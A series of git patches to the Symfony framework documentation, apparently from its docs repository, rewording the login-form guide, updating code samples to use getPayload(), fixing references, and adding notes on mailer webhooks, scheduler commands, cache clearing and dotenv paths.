+
+WooHoo! You're all set to start authenticating users.
+
+If you prefer to do this manually, first, create a controller for the login form:
 
 .. code-block:: terminal
 

From 52163876d80f1aa5874d9390e38770d384041b2d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 16:14:07 +0100
Subject: [PATCH 5718/7107] Reword

---
 security.rst | 27 ++++++---------------------
 1 file changed, 6 insertions(+), 21 deletions(-)

diff --git a/security.rst b/security.rst
index f8d2cc028ef..4fb4841f93b 100644
--- a/security.rst
+++ b/security.rst
@@ -650,33 +650,18 @@ Most websites have a login form where users authenticate using an
 identifier (e.g. email address or username) and a password. This
 functionality is provided by the built-in :class:`Symfony\\Component\\Security\\Http\Authenticator\\FormLoginAuthenticator`.
 
-`MakerBundle` has a new ``make:security:form-login`` command that was introduced
-in ``v1.x.x`` that will generate the controller, twig template, and configure
-``security.yaml`` after answering a couple of questions:
+You can run the following command to create everything needed to add a login
+form in your application:
 
 .. code-block:: terminal
 
     $ php bin/console make:security:form-login
 
-     Choose a name for the controller class (e.g. SecurityController) [SecurityController]:
-     > SecurityController
+This command will create the required controller and template and it will also
+update the security configuration. Alternatively, if you prefer to make these
+changes manually, follow the next steps.
 
-     Do you want to generate a '/logout' URL? (yes/no) [yes]:
-     > y
-
-     created: src/Controller/SecurityController.php
-     created: templates/security/login.html.twig
-     updated: config/packages/security.yaml
-
-
-      Success!
-
-
-     Next: Review and adapt the login template: security/login.html.twig to suite your needs.
-
-WooHoo! You're all set to start authenticating users.
-
-If you prefer to do this manually, first, create a controller for the login form:
+First, create a controller for the login form:
 
 .. code-block:: terminal
 

From c099758a1c4275392e766be5040888674ac4688d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 5 Dec 2022 16:51:16 +0100
Subject: [PATCH 5719/7107] Changing `enum:` example away from APP_ENV

Reason: When I first read this, I was expecting that the Symfony-internal ways to get the environment (`{{ app.environment }}`, `$routingConfigurator->env()` ,etc.) would now return the enum. But this is not the case. So if you explain the new processor with exactly this example, there needs to be a caution box, explaining that Symfony's methods still return the string.

* If you don't agree with this change, I'd still open a separate PR to add this info (taken from https://symfony.com/blog/new-in-symfony-6-2-improved-enum-support#enums-in-environment-variables), cause that's a missing piece of information:

> The value stored in the ``CARD_SUIT`` env var would be a string like `'spades'` but the
> application will use the ``Suit::Spdes`` enum value.

* Besides, as the list of processors is getting longer and longer, I'd suggest to create a sub-heading for each (under "Built-In Environment Variable Processors"), to get rid of the endless indentation, and improve scanability, and get them included in the TOC.
Should I create a PR for this?
---
 configuration/env_var_processors.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 3da4ed6b1c1..fb96c0a5ac6 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -745,11 +745,13 @@ Symfony provides the following env var processors:
     Tries to convert an environment variable to an actual ``\BackedEnum`` value.
     This processor takes the fully qualified name of the ``\BackedEnum`` as an argument::
 
-        # App\Enum\Environment
+        // App\Enum\Suit.php
         enum Environment: string
         {
-            case Development = 'dev';
-            case Production = 'prod';
+            case Clubs = 'clubs';
+            case Spades = 'spades';
+            case Diamonds = 'diamonds';
+            case Hearts = 'hearts';
         }
 
     .. configuration-block::
@@ -758,7 +760,7 @@ Symfony provides the following env var processors:
 
             # config/services.yaml
             parameters:
-                typed_env: '%env(enum:App\Enum\Environment:APP_ENV)%'
+                suit: '%env(enum:App\Enum\Suit:CARD_SUIT)%'
 
         .. code-block:: xml
 
@@ -773,14 +775,17 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
                 <parameters>
-                    <parameter key="typed_env">%env(enum:App\Enum\Environment:APP_ENV)%</parameter>
+                    <parameter key="suit">%env(enum:App\Enum\Suit:CARD_SUIT)%</parameter>
                 </parameters>
             </container>
 
         .. code-block:: php
 
             // config/services.php
-            $container->setParameter('typed_env', '%env(enum:App\Enum\Environment:APP_ENV)%');
+            $container->setParameter('suit', '%env(enum:App\Enum\Suit:CARD_SUIT)%');
+
+    The value stored in the ``CARD_SUIT`` env var would be a string like `'spades'` but the
+    application will use the ``Suit::Spdes`` enum value.
 
     .. versionadded:: 6.2
 

From a8096669e4aaa4e9b928270370a5ea04bd0cd4ee Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 16:28:58 +0100
Subject: [PATCH 5720/7107] Minor tweaks

---
 configuration/env_var_processors.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index fb96c0a5ac6..518c348ab75 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -784,8 +784,8 @@ Symfony provides the following env var processors:
             // config/services.php
             $container->setParameter('suit', '%env(enum:App\Enum\Suit:CARD_SUIT)%');
 
-    The value stored in the ``CARD_SUIT`` env var would be a string like `'spades'` but the
-    application will use the ``Suit::Spdes`` enum value.
+    The value stored in the ``CARD_SUIT`` env var would be a string (e.g. ``'spades'``)
+    but the application will use the enum value (e.g. ``Suit::Spades``).
 
     .. versionadded:: 6.2
 

From bbe8219fbe727ac8b581f0c2c6a1262fba29a741 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 17:13:41 +0100
Subject: [PATCH 5721/7107] Minor tweaks

---
 security.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index 5f674f95df8..0a7616d242f 100644
--- a/security.rst
+++ b/security.rst
@@ -576,7 +576,7 @@ will be able to authenticate (e.g. login form, API token, etc).
 Only one firewall is active on each request: Symfony uses the ``pattern`` key
 to find the first match (you can also
 :doc:`match by host or other things </security/firewall_restriction>`).
-Here, all "real" URLs are handled by the ``main`` firewall (no ``pattern`` key means
+Here, all real URLs are handled by the ``main`` firewall (no ``pattern`` key means
 it matches *all* URLs). 
 
 The ``dev`` firewall is really a fake firewall: it makes sure that you
@@ -593,11 +593,11 @@ you'll see that you're visiting a page behind the firewall in the toolbar:
 Visiting a URL under a firewall doesn't necessarily require you to be authenticated
 (e.g. the login form has to be accessible or some parts of your application
 are public). On the other hand, all pages that you want to be *aware* of a logged in
-user have to be under the same firewall. So if you want to display a "You are logged in
-as ..." message on every page, they all have to be included in the same firewall.
+user have to be under the same firewall. So if you want to display a *"You are logged in
+as ..."* message on every page, they all have to be included in the same firewall.
 
-The same firewall can have many modes of authentication,
-in other words, it enables many ways to ask the question "Who are you?".
+The same firewall can have many modes of authentication. In other words, it
+enables many ways to ask the question *"Who are you?"*.
 
 You'll learn how to restrict access to URLs, controllers or
 anything else within your firewall in the :ref:`access control

From 617249b4c4d67f62e8133bc9b007e390f673b017 Mon Sep 17 00:00:00 2001
From: Stefan Doorn <stefan@efectos.nl>
Date: Mon, 22 Jan 2024 11:02:12 +0100
Subject: [PATCH 5722/7107] [Messenger] Clarify
 UnrecoverableMessageHandlingException message going to failure transport

---
 messenger.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 0f1c00baae4..43a7f256343 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1044,6 +1044,12 @@ and should not be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\UnrecoverableMessageHandlingException`,
 the message will not be retried.
 
+.. note::
+
+    Messages that will not be retried, will still show up in the configured failure transport.
+    If you want to avoid that, consider handling the error yourself and let the handler
+    successfully end.
+
 Forcing Retrying
 ~~~~~~~~~~~~~~~~
 

From 00e9b45fa6cd8f09e82a29a9ef9c780eecd2b9ce Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 18:01:40 +0100
Subject: [PATCH 5723/7107] [HttpFoundation] replace $request->request by
 getPayload()

---
 controller.rst                       | 2 +-
 create_framework/http_foundation.rst | 2 +-
 form/direct_submit.rst               | 6 +++---
 form/without_class.rst               | 2 +-
 html_sanitizer.rst                   | 2 +-
 introduction/http_fundamentals.rst   | 2 +-
 security/csrf.rst                    | 2 +-
 security/custom_authenticator.rst    | 6 +++---
 security/login_link.rst              | 4 ++--
 9 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/controller.rst b/controller.rst
index af0df5c1a8c..5e4d97864ac 100644
--- a/controller.rst
+++ b/controller.rst
@@ -625,7 +625,7 @@ the ``Request`` class::
 
         // retrieves GET and POST variables respectively
         $request->query->get('page');
-        $request->request->get('page');
+        $request->getPayload()->get('page');
 
         // retrieves SERVER variables
         $request->server->get('HTTP_HOST');
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index 53c86ebb8b9..66bc1b51d0d 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -178,7 +178,7 @@ fingertips thanks to a nice and simple API::
 
     // retrieves GET and POST variables respectively
     $request->query->get('foo');
-    $request->request->get('bar', 'default value if bar does not exist');
+    $request->getPayload()->get('bar', 'default value if bar does not exist');
 
     // retrieves SERVER variables
     $request->server->get('HTTP_HOST');
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 5931b47b98f..7b98134af18 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -17,7 +17,7 @@ control over when exactly your form is submitted and what data is passed to it::
         $form = $this->createForm(TaskType::class, $task);
 
         if ($request->isMethod('POST')) {
-            $form->submit($request->request->all($form->getName()));
+            $form->submit($request->getPayload()->get($form->getName()));
 
             if ($form->isSubmitted() && $form->isValid()) {
                 // perform some action...
@@ -41,7 +41,7 @@ the fields defined by the form class. Otherwise, you'll see a form validation er
         if ($request->isMethod('POST')) {
             // '$json' represents payload data sent by React/Angular/Vue
             // the merge of parameters is needed to submit all form fields
-            $form->submit(array_merge($json, $request->request->all()));
+            $form->submit(array_merge($json, $request->getPayload()->all()));
 
             // ...
         }
@@ -73,4 +73,4 @@ the fields defined by the form class. Otherwise, you'll see a form validation er
     manually so that they are validated::
 
         // 'email' and 'username' are added manually to force their validation
-        $form->submit(array_merge(['email' => null, 'username' => null], $request->request->all()), false);
+        $form->submit(array_merge(['email' => null, 'username' => null], $request->getPayload()->all()), false);
diff --git a/form/without_class.rst b/form/without_class.rst
index b2ebdcc5482..589f8a4739e 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -59,7 +59,7 @@ an array.
     You can also access POST values (in this case "name") directly through
     the request object, like so::
 
-        $request->request->get('name');
+        $request->getPayload()->get('name');
 
     Be advised, however, that in most cases using the ``getData()`` method is
     a better choice, since it returns the data (usually an object) after
diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 1f451bfb867..d5b28b0afb8 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -56,7 +56,7 @@ automatically when type-hinting for
         {
             public function createAction(HtmlSanitizerInterface $htmlSanitizer, Request $request): Response
             {
-                $unsafeContents = $request->request->get('post_contents');
+                $unsafeContents = $request->getPayload()->get('post_contents');
 
                 $safeContents = $htmlSanitizer->sanitize($unsafeContents);
                 // ... proceed using the safe HTML
diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst
index fceb6a4a13d..d9f308433d0 100644
--- a/introduction/http_fundamentals.rst
+++ b/introduction/http_fundamentals.rst
@@ -216,7 +216,7 @@ have all the request information at your fingertips::
 
     // retrieves $_GET and $_POST variables respectively
     $request->query->get('id');
-    $request->request->get('category', 'default category');
+    $request->getPayload()->get('category', 'default category');
 
     // retrieves $_SERVER variables
     $request->server->get('HTTP_HOST');
diff --git a/security/csrf.rst b/security/csrf.rst
index be7bb909f61..87a1b972998 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -156,7 +156,7 @@ method to check its validity::
 
     public function delete(Request $request): Response
     {
-        $submittedToken = $request->request->get('token');
+        $submittedToken = $request->getPayload()->get('token');
 
         // 'delete-item' is the same value used in the template to generate the token
         if ($this->isCsrfTokenValid('delete-item', $submittedToken)) {
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 1a744dc1198..934bc692cf3 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -339,9 +339,9 @@ would initialize the passport like this::
     {
         public function authenticate(Request $request): Passport
         {
-            $password = $request->request->get('password');
-            $username = $request->request->get('username');
-            $csrfToken = $request->request->get('csrf_token');
+            $password = $request->getPayload()->get('password');
+            $username = $request->getPayload()->get('username');
+            $csrfToken = $request->getPayload()->get('csrf_token');
 
             // ... validate no parameter is empty
 
diff --git a/security/login_link.rst b/security/login_link.rst
index 9d4864c3b1d..160327cabbc 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -159,7 +159,7 @@ this interface::
             // check if form is submitted
             if ($request->isMethod('POST')) {
                 // load the user in some way (e.g. using the form input)
-                $email = $request->request->get('email');
+                $email = $request->getPayload()->get('email');
                 $user = $userRepository->findOneBy(['email' => $email]);
 
                 // create a login link for $user this returns an instance
@@ -228,7 +228,7 @@ number::
         public function requestLoginLink(NotifierInterface $notifier, LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request): Response
         {
             if ($request->isMethod('POST')) {
-                $email = $request->request->get('email');
+                $email = $request->getPayload()->get('email');
                 $user = $userRepository->findOneBy(['email' => $email]);
 
                 $loginLinkDetails = $loginLinkHandler->createLoginLink($user);

From dbbfece0babfc76f3e0303b77af72805bf7bb0a2 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 24 Jan 2024 09:10:35 +0100
Subject: [PATCH 5724/7107] remove trailing whitespace

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 0a7616d242f..b1a7b852c5c 100644
--- a/security.rst
+++ b/security.rst
@@ -577,7 +577,7 @@ Only one firewall is active on each request: Symfony uses the ``pattern`` key
 to find the first match (you can also
 :doc:`match by host or other things </security/firewall_restriction>`).
 Here, all real URLs are handled by the ``main`` firewall (no ``pattern`` key means
-it matches *all* URLs). 
+it matches *all* URLs).
 
 The ``dev`` firewall is really a fake firewall: it makes sure that you
 don't accidentally block Symfony's dev tools - which live under URLs like

From a2419bf22ded7fda905343c9b7a506a371da7653 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 24 Jan 2024 09:18:44 +0100
Subject: [PATCH 5725/7107] fix references

---
 scheduler.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 697e22d7eae..6fa0f9fc7f2 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -435,7 +435,7 @@ be used. Also, by default, the ``__invoke`` method of your service will be calle
 but, it's also possible to specify the method to call via the ``method``option
 and you can define arguments via ``arguments``option if necessary.
 
-.. scheduler-attributes-cron-task::
+.. _scheduler-attributes-cron-task::
 
 ``AsCronTask`` Example
 ......................
@@ -472,7 +472,7 @@ The attribute takes more parameters to customize the trigger::
     The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
     was introduced in Symfony 6.4.
 
-.. scheduler-attributes-periodic-task::
+.. _scheduler-attributes-periodic-task::
 
 ``AsPeriodicTask`` Example
 ..........................

From 9dae8ae28251ed1c6ac7fa2cc1367365f7472a45 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 24 Jan 2024 09:29:03 +0100
Subject: [PATCH 5726/7107] fix references (really)

---
 scheduler.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 6fa0f9fc7f2..d658a7ee4f6 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -435,7 +435,7 @@ be used. Also, by default, the ``__invoke`` method of your service will be calle
 but, it's also possible to specify the method to call via the ``method``option
 and you can define arguments via ``arguments``option if necessary.
 
-.. _scheduler-attributes-cron-task::
+.. _scheduler-attributes-cron-task:
 
 ``AsCronTask`` Example
 ......................
@@ -472,7 +472,7 @@ The attribute takes more parameters to customize the trigger::
     The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
     was introduced in Symfony 6.4.
 
-.. _scheduler-attributes-periodic-task::
+.. _scheduler-attributes-periodic-task:
 
 ``AsPeriodicTask`` Example
 ..........................

From f7a08ca7c56480666f08e74b1204bd8d4c7a3421 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 24 Jan 2024 09:08:43 +0100
Subject: [PATCH 5727/7107] fix enum name

---
 configuration/env_var_processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 518c348ab75..3caec730d5d 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -746,7 +746,7 @@ Symfony provides the following env var processors:
     This processor takes the fully qualified name of the ``\BackedEnum`` as an argument::
 
         // App\Enum\Suit.php
-        enum Environment: string
+        enum Suit: string
         {
             case Clubs = 'clubs';
             case Spades = 'spades';

From 4a3083fac40c77bdeb350b7d394f54dd92bcec4f Mon Sep 17 00:00:00 2001
From: Brendan <38113103+BrendanEthika@users.noreply.github.com>
Date: Wed, 24 Jan 2024 12:49:26 -0800
Subject: [PATCH 5728/7107] Update scheduler.rst

---
 scheduler.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index d658a7ee4f6..557e4fc68cb 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -824,10 +824,13 @@ recurring messages. You can narrow down the list to a specific schedule:
        -------------------- -------------------------- ---------------------
 
     # you can also specify a date to use for the next run date:
-    $ php bin/console --date=2025-10-18
+    $ php bin/console debug:scheduler --date=2025-10-18
+
+    # you can also specify a date to use for the next run date for a schedule:
+    $ php bin/console debug:scheduler name_of_schedule --date=2025-10-18
 
     # use the --all option to also display the terminated recurring messages
-    $ php bin/console --all
+    $ php bin/console debug:scheduler --all
 
 Efficient management with Symfony Scheduler
 -------------------------------------------

From cc056d2d24bc4454acd0c806f3863b5a58c4b8e7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 24 Jan 2024 22:39:30 +0100
Subject: [PATCH 5729/7107] -

---
 webhook.rst | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index f8d46ca8d41..a621587084c 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -24,12 +24,19 @@ receive webhook calls from this provider.
 
 Currently, the following third-party mailer providers support webhooks:
 
-=============== ==========================================
-Mailer service  Parser service name
-=============== ==========================================
-Mailgun         ``mailer.webhook.request_parser.mailgun``
-Postmark        ``mailer.webhook.request_parser.postmark``
-=============== ==========================================
+============== ==========================================
+Mailer Service Parser service name
+============== ==========================================
+Brevo          ``mailer.webhook.request_parser.brevo``
+Mailgun        ``mailer.webhook.request_parser.mailgun``
+Mailjet        ``mailer.webhook.request_parser.mailjet``
+Postmark       ``mailer.webhook.request_parser.postmark``
+Sendgrid       ``mailer.webhook.request_parser.sendgrid``
+============== ==========================================
+
+.. versionadded:: 6.4
+
+    The support for Brevo, Mailjet and Sendgrid was introduced in Symfony 6.4.
 
 .. note::
 

From 56b46c7cdc2b8b1865ee65e27dacae36690a303f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 24 Jan 2024 22:40:33 +0100
Subject: [PATCH 5730/7107] -

---
 webhook.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/webhook.rst b/webhook.rst
index 29d2eea0849..0b8d2514a26 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -27,6 +27,7 @@ Brevo          ``mailer.webhook.request_parser.brevo``
 Mailgun        ``mailer.webhook.request_parser.mailgun``
 Mailjet        ``mailer.webhook.request_parser.mailjet``
 Postmark       ``mailer.webhook.request_parser.postmark``
+Resend         ``mailer.webhook.request_parser.resend``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
 ============== ==========================================
 
@@ -34,6 +35,10 @@ Sendgrid       ``mailer.webhook.request_parser.sendgrid``
 
     The support for Brevo, Mailjet and Sendgrid was introduced in Symfony 6.4.
 
+.. versionadded:: 7.1
+
+    The support for Resend was introduced in Symfony 7.1.
+
 .. note::
 
     Install the third-party mailer provider you want to use as described in the

From ca3da8b3763f01954e4ad6ecaba02aac285f602c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 24 Jan 2024 22:40:44 +0100
Subject: [PATCH 5731/7107] -

---
 webhook.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index 29d2eea0849..37422b75542 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -30,10 +30,6 @@ Postmark       ``mailer.webhook.request_parser.postmark``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
 ============== ==========================================
 
-.. versionadded:: 6.4
-
-    The support for Brevo, Mailjet and Sendgrid was introduced in Symfony 6.4.
-
 .. note::
 
     Install the third-party mailer provider you want to use as described in the

From cb44ce90a1378449b06e4f3287ed61f1b643a8ad Mon Sep 17 00:00:00 2001
From: Kai Dederichs <k.dederichs@spicymedia.io>
Date: Wed, 24 Jan 2024 23:24:45 +0100
Subject: [PATCH 5732/7107] Add warning about custom SES headers

---
 mailer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index b845a8ee8f5..b8f7bbec457 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -198,6 +198,11 @@ OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a
 
         The ``ping_threshold`` option for ``ses-smtp`` was introduced in Symfony 5.4.
 
+.. caution::
+
+    If you need to send custom headers to receive them later via webhook using the `Amazon SES` transport
+    be sure to use the ``ses+https`` provider since custom headers are not transmited otherwise. 
+
 .. note::
 
     When using SMTP, the default timeout for sending a message before throwing an

From a08515af1693e7fab9a4c808b1c85878caee8934 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 25 Jan 2024 11:06:27 +0100
Subject: [PATCH 5733/7107] Minor tweaks

---
 mailer.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 0293a1ce09c..379e2a71694 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -171,7 +171,7 @@ This table shows the full list of available DSN formats for each third
 party provider:
 
 ===================== ======================================================== =============================================== ============================================
-Provider              SMTP                                                     HTTP                                        API
+Provider              SMTP                                                     HTTP                                            API
 ===================== ======================================================== =============================================== ============================================
 `Amazon SES`_         ``ses+smtp://USERNAME:PASSWORD@default``                 ``ses+https://ACCESS_KEY:SECRET_KEY@default``   ``ses+api://ACCESS_KEY:SECRET_KEY@default``
 `Google Gmail`_       ``gmail+smtp://USERNAME:APP-PASSWORD@default``           n/a                                             n/a
@@ -203,8 +203,9 @@ Provider              SMTP                                                     H
 
 .. caution::
 
-    If you need to send custom headers to receive them later via webhook using the `Amazon SES` transport
-    be sure to use the ``ses+https`` provider since custom headers are not transmited otherwise. 
+    If you send custom headers when using the `Amazon SES`_ transport (to receive
+    them later via a webhook), make sure to use the ``ses+https`` provider because
+    it's the only one that supports them.
 
 .. note::
 

From 4e4f75efb61ac0c090a30d372e883f75be98fa17 Mon Sep 17 00:00:00 2001
From: chris <chris@sky-scripts.de>
Date: Thu, 25 Jan 2024 15:15:56 +0100
Subject: [PATCH 5734/7107] Update symfony_server.rst

With this change the configuration is not displayed in 2 lines.

I just copied the second line '127.0.0.1:7080/proxy.pac' into my config. And of couse proxy was not working.

Maybe this change help others to not waste time and copy the wrong config.
---
 setup/symfony_server.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 5aa13399c71..c6b817ebdb5 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -205,6 +205,7 @@ If this is the first time you run the proxy, you must configure it as follows:
    * `Proxy settings in Ubuntu`_.
 
 #. Set the following URL as the value of the **Automatic Proxy Configuration**:
+
    ``http://127.0.0.1:7080/proxy.pac``
 
 Now run this command to start the proxy:

From 61b318f65d30b47883d28934f9236d3a11ee17ca Mon Sep 17 00:00:00 2001
From: Stephan Dee <105394393+lkolndeep@users.noreply.github.com>
Date: Thu, 25 Jan 2024 16:49:32 +0100
Subject: [PATCH 5735/7107] Update service_container.rst

Correction of a typo.
---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 76381cf41fb..6a3b606be22 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -948,7 +948,7 @@ you don't need to do *anything*: the service will be automatically loaded. Then,
 implements ``Twig\Extension\ExtensionInterface``. And thanks to ``autowire``, you can even add
 constructor arguments without any configuration.
 
-Autconfiguration also works with attributes. Some attributes like
+Autoconfiguration also works with attributes. Some attributes like
 :class:`Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler`,
 :class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener` and
 :class:`Symfony\\Component\\Console\\Attribute\\AsCommand` are registered

From e06251ba31d29fd1be7ca235d3836bc35669261c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 25 Jan 2024 18:03:11 +0100
Subject: [PATCH 5736/7107] [AssetMapper] Mention
 PublicAssetsFilesystemInterface

---
 frontend/asset_mapper.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 803d7dbace6..6ce899d9767 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -93,6 +93,13 @@ This will physically copy all the files from your mapped directories to
 ``public/assets/`` so that they're served directly by your web server.
 See :ref:`Deployment <asset-mapper-deployment>` for more details.
 
+.. tip::
+
+    If you need to copy the compiled assets to a different location (e.g. upload
+    them to S3), create a service that implements ``Symfony\Component\AssetMapper\Path\PublicAssetsFilesystemInterface``
+    and set its service id (or an alias) to ``asset_mapper.local_public_assets_filesystem``
+    (to replace the built-in service).
+
 Debugging: Seeing All Mapped Assets
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 64b5716815bc9a4ae7e3fb8166456cbb8ed5801e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 25 Jan 2024 11:34:55 +0100
Subject: [PATCH 5737/7107] [Upgrading] Recommend to delete cache when
 upgrading to a major version

---
 setup/upgrade_major.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 8c5b5cab8a3..9841a2496bd 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -182,6 +182,19 @@ Next, use Composer to download new versions of the libraries:
 
     $ composer update "symfony/*"
 
+A best practice after updating to a new major version is to clear the cache.
+Instead of running the ``cache:clear`` command (which won't work if the application
+is not bootable in the console after the upgrade) it's better to remove the entire
+cache directory contents:
+
+.. code-block:: terminal
+
+    # run this command on Linux and macOS
+    $ rm -rf var/cache/*
+
+    # run this command on Windows
+    C:\> rmdir /s /q var\cache\*
+
 .. include:: /setup/_update_dep_errors.rst.inc
 
 .. include:: /setup/_update_all_packages.rst.inc

From 3ee6a7fcb5baac802e7602678143ee2e7b42d563 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 3 Jan 2024 18:35:45 +0100
Subject: [PATCH 5738/7107] [DotEnv] Fix incorrect way to modify .env path

---
 configuration.rst | 41 ++++++++++++++++++++++++++++++++---------
 1 file changed, 32 insertions(+), 9 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 078ec57b49f..24eebb1fa00 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -936,9 +936,38 @@ Storing Environment Variables In Other Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 By default, the environment variables are stored in the ``.env`` file located
-at the root of your project. However, you can store them in other file by
-setting the ``SYMFONY_DOTENV_PATH`` environment variable to the absolute path of
-that custom file.
+at the root of your project. However, you can store them in other files in
+multiple ways.
+
+If you use the :doc:`Runtime component </components/runtime>`, the dotenv
+path is part of the options you can set in your ``composer.json`` file:
+
+.. code-block:: json
+
+      {
+          // ...
+          "extra": {
+              // ...
+              "runtime": {
+                  "dotenv_path": "my/custom/path/to/.env"
+              }
+          }
+      }
+
+You can also set the ``SYMFONY_DOTENV_PATH`` environment variable at system
+level (e.g. in your web server configuration or in your Dockerfile):
+
+.. code-block:: bash
+
+    # .env (or .env.local)
+    SYMFONY_DOTENV_PATH=my/custom/path/to/.env
+
+Finally, you can directly invoke the ``Dotenv`` class in your
+``bootstrap.php`` file or any other file of your application::
+
+    use Symfony\Component\Dotenv\Dotenv;
+
+    (new Dotenv())->bootEnv(dirname(__DIR__).'my/custom/path/to/.env');
 
 Symfony will then look for the environment variables in that file, but also in
 the local and environment-specific files (e.g. ``.*.local`` and
@@ -946,12 +975,6 @@ the local and environment-specific files (e.g. ``.*.local`` and
 :ref:`how to override environment variables <configuration-multiple-env-files>`
 to learn more about this.
 
